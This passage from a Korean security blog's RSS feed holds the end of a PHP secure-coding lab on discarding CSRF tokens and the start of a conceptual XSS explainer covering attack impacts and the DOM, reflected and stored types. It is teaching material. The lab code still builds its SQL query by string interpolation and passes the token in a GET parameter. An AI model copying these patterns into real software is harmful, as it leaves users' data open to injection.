&lt;p data-ke-size=&quot;size16&quot;&gt;세션과 파라미터에 CSRF Token 값이 없거나 일치하지 않아 검증 로직에 통과하지 못하여 회원탈퇴가 이루어지지 못했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 회원탈퇴 기능이 수행되는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test1 계정을 탈퇴하니 정상적으로 기능이 수행되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLfUOT/btsMbBmcOQF/9Z6Sk2GUaQGzvYGd9Yq9uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLfUOT/btsMbBmcOQF/9Z6Sk2GUaQGzvYGd9Yq9uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLfUOT/btsMbBmcOQF/9Z6Sk2GUaQGzvYGd9Yq9uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLfUOT%2FbtsMbBmcOQF%2F9Z6Sk2GUaQGzvYGd9Yq9uk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;817&quot; height=&quot;158&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원탈퇴 후&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;780&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yjBeq/btsMbbaqMzq/kqVvrKkuaTr7GxBQkhjkE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yjBeq/btsMbbaqMzq/kqVvrKkuaTr7GxBQkhjkE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yjBeq/btsMbbaqMzq/kqVvrKkuaTr7GxBQkhjkE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyjBeq%2FbtsMbbaqMzq%2FkqVvrKkuaTr7GxBQkhjkE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;780&quot; height=&quot;146&quot; data-origin-width=&quot;780&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습6-6 취약 환경 시큐어 코딩 적용 실습-3&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF Token 검증 후에 세션 내 CSRF Token을 폐기해줘야 한다. (재사용될 필요가 없음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF Token 폐기 로직은 액션이 이루어지는 페이지에 추가하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;unset 함수를 활용하여 csrf token 을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 csrf token 폐기 코드 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738948426893&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	# CSRF Token 검증 로직
	$csrf_token_session = $_SESSION[&quot;csrf_token&quot;];
	$csrf_token_param = $_REQUEST[&quot;csrf_token&quot;];
	unset($_SESSION[&quot;csrf_token&quot;]);

	if(empty($csrf_token_session) &amp;amp;&amp;amp; empty($csrf_token_param)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원 탈퇴시에도 ID 뿐만 아니라 CSRF Token 도 같이 폐기해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; withdrawal.php 에 csrf token 폐기 코드 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738948495837&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    @session_start();
    include_once(&quot;./common.php&quot;);

    $db_conn = mysql_conn();

    $csrf_token_session = $_SESSION[&quot;csrf_token&quot;];
    $csrf_token_param = $_GET[&quot;csrf_token&quot;];

    if(empty($csrf_token_session) &amp;amp;&amp;amp; empty($csrf_token_param)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
	}

    $query = &quot;delete from members where id='{$_SESSION[&quot;id&quot;]}'&quot;;
	$result = $db_conn-&amp;gt;query($query);

    unset($_SESSION[&quot;csrf_token&quot;]);
    unset($_SESSION[&quot;id&quot;]);
    session_destroy();

    echo &quot;&amp;lt;script&amp;gt;location.href='index.php'&amp;lt;/script&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS, CSRF 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dirtycoders.net/xss-csrf-caijeom-ihaehagi/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://dirtycoders.net/xss-csrf-caijeom-ihaehagi/&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>CSRF</category>
      <category>XSS</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/210</guid>
      <comments>https://it-log.tistory.com/210#entry210comment</comments>
      <pubDate>Sat, 8 Feb 2025 22:00:18 +0900</pubDate>
    </item>
    <item>
      <title>XSS (Cross-Site Scripting)</title>
      <link>https://it-log.tistory.com/209</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) XSS이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동적으로 출력하는 페이지에 대해 클라이언트 언어로 작성된 악의적인 스크립트를 삽입하여 비정상적인 행위를 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 언어(Client Side Script) - HTML,CSS, JavaScript&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 서버 측 공격이 아닌, 클라이언트(사용자) 측 공격이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bV9DO7/btsLDkTht8w/rm3mN1GRDAF3qqya3ibtbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bV9DO7/btsLDkTht8w/rm3mN1GRDAF3qqya3ibtbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bV9DO7/btsLDkTht8w/rm3mN1GRDAF3qqya3ibtbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbV9DO7%2FbtsLDkTht8w%2Frm3mN1GRDAF3qqya3ibtbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;456&quot; height=&quot;370&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Scripting - 클라이언트 언어가 실행됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격은 A사이트에서 B사이트로 이동하는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 공격 대상&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 기능적인 공격 대상&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 엔드 포인트 단의 공격 대상&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB와 연결되어 있는 기능(게시판 등)에 대해 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 사이트의 특정 기능(게시판, 검색창) 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자에 대한 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 기능적인 공격 대상 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ez6Cu/btsLEekz4ue/Op1oaXGw9g0HQLEoyrLGIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ez6Cu/btsLEekz4ue/Op1oaXGw9g0HQLEoyrLGIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ez6Cu/btsLEekz4ue/Op1oaXGw9g0HQLEoyrLGIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEz6Cu%2FbtsLEekz4ue%2FOp1oaXGw9g0HQLEoyrLGIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1258&quot; height=&quot;352&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;352&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 어플리케이션 진단 관점에서 볼 때, 사용자 입력값을 받아 웹 페이지를 구성하는 기능은 공격 대상이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자 입력값을 통해 동적인 웹 페이지를 구성한다면 모든 기능이 공격 대상이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 웹 페이지 내 사용자 입력값이 출력되어 있지 않아도 공격이 가능하다. (어딘가에 사용자 입력값이 입력되어 있으면 공격 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 실제 클라이언트 단의 소스코드에 입력되어 있는 경우 (hidden의 value) 공격이 가능하다. (웹 브라우저에 출력되지 않아도 공격 가능 - 웹 브라우저를 믿지 말고 웹 프록시를 믿을 것)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 엔드 포인트 단의 공격 대상 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKPOYj/btsLDnoWm8n/axZLL6IPrEriKUKe20VhL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKPOYj/btsLDnoWm8n/axZLL6IPrEriKUKe20VhL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKPOYj/btsLDnoWm8n/axZLL6IPrEriKUKe20VhL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKPOYj%2FbtsLDnoWm8n%2FaxZLL6IPrEriKUKe20VhL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;473&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection, OS Command Injection, XXE Injection 모두 서버를 대상으로 하는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 사용자를 대상으로 하는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Client Side Script 로 작성된 언어는 웹 서버에서 인식하지 못하며 웹 브라우저에서 해석해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&amp;nbsp;&lt;/span&gt;사용자만 Client Side Script 인식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) 공격 유형&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mvMxQ/btsLDo2sNJ4/hKjy8jRqNRchwEssM0xND1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mvMxQ/btsLDo2sNJ4/hKjy8jRqNRchwEssM0xND1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mvMxQ/btsLDo2sNJ4/hKjy8jRqNRchwEssM0xND1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmvMxQ%2FbtsLDo2sNJ4%2FhKjy8jRqNRchwEssM0xND1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;702&quot; height=&quot;334&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;334&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;피싱&lt;/b&gt; &amp;rarr; 악의적인 사용자가 유도한 사이트로 리다이렉션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;악성코드 유포&lt;/b&gt; &amp;rarr; 강제로 악성코드 다운로드 및 실행 후 악성코드 설치, Drive-by Download(웹 브라우저 취약점 활용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XSS Tunnel(XSS Shell)&lt;/b&gt; &amp;rarr; 사용자 웹 브라우저 권한 획득, 대부분의 행위 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;세션 하이재킹&lt;/b&gt; &amp;rarr; 사용자 세션 탈취 후 세션 재사용, 권한 탈취&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt; &amp;rarr; 악성 스크립트에 의해 악의적인 사용자가 의도한 행위를 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 공격 기법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. DOM-BASED XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. REFLECTED XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. STORED XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DOM-BASED XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DOM(Documnet Object Model - 문서 객체 모델, HTML 문서에 접근하기 위한 표준 API)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;웹 브라우저에서 사용자 입력 값을 통해 동적 페이지 구성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 악성 스크립트가 담긴 URL을 사용자의 웹 브라우저에서 호출이 될 경우 악성 스크립트가 발생되는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 측이 아닌, 웹 브라우저에서 사용자 입력값에 따라 페이지를 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Non Persistent XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-BASED XSS 공격 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트에서 id=admin 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에는 해당 admin 이 전달될 수도 있고 안될수도 있다. (전달되는 건 중요하지 않다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버로부터의 응답값에 admin 이 실려서 오지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지를 보니 admin 이라고 출력된다. (DOM을 이용해서 문서(URL)에 접근해서 URL의 정보를 들고온 다음에 사용자 입력값이 어떤게 있는지 봐서 admin 파라미터 값을 사용자 웹 페이지에 출력 시킨다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 행위가 웹 브라우저 단에서 발생된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 측에서 입력값 검증이 있더라도 XSS 공격이 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 발생 가능성 적다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;REFLECTED XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;서버 측에서 사용자 입력 값을 통한 동적 페이지 구성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 악성 스크립트가 담긴 URL을 사용자의 웹 브라우저에서 호출이 될 경우 악의적인 스크립트가 발생되는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 취약한 URL을 사용자에게 전달해야함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Non-Persistent XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;REFLECTED XSS 공격 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트에서 id=admin 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;서버에는 해당 admin 이 전달된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에는 해당 admin 이 담겨서 응답이 온다. &amp;rarr; 서버 측에서 사용자 입력값을 통해 동적 페이지 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 발생 가능성 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;STORED XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;데이터베이스에 저장된 데이터를 통한 동적 페이지 구성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 DB에 악의적인 스크립트를 저장, 사용자가 악성 스크립트가 담긴 DB의 특정 레코드값을 참조하여 공격 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 특정 게시글에 악성 스크립트를 심고, 사용자가 해당 게시글을 확인하면 악성 스크립트가 실행되는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격 발생 가능성 가장 많다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Persistent XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 네트워크 구간에서 보는 XSS 공격 기법 종류 &amp;gt;&lt;/b&gt;&lt;/p&gt;
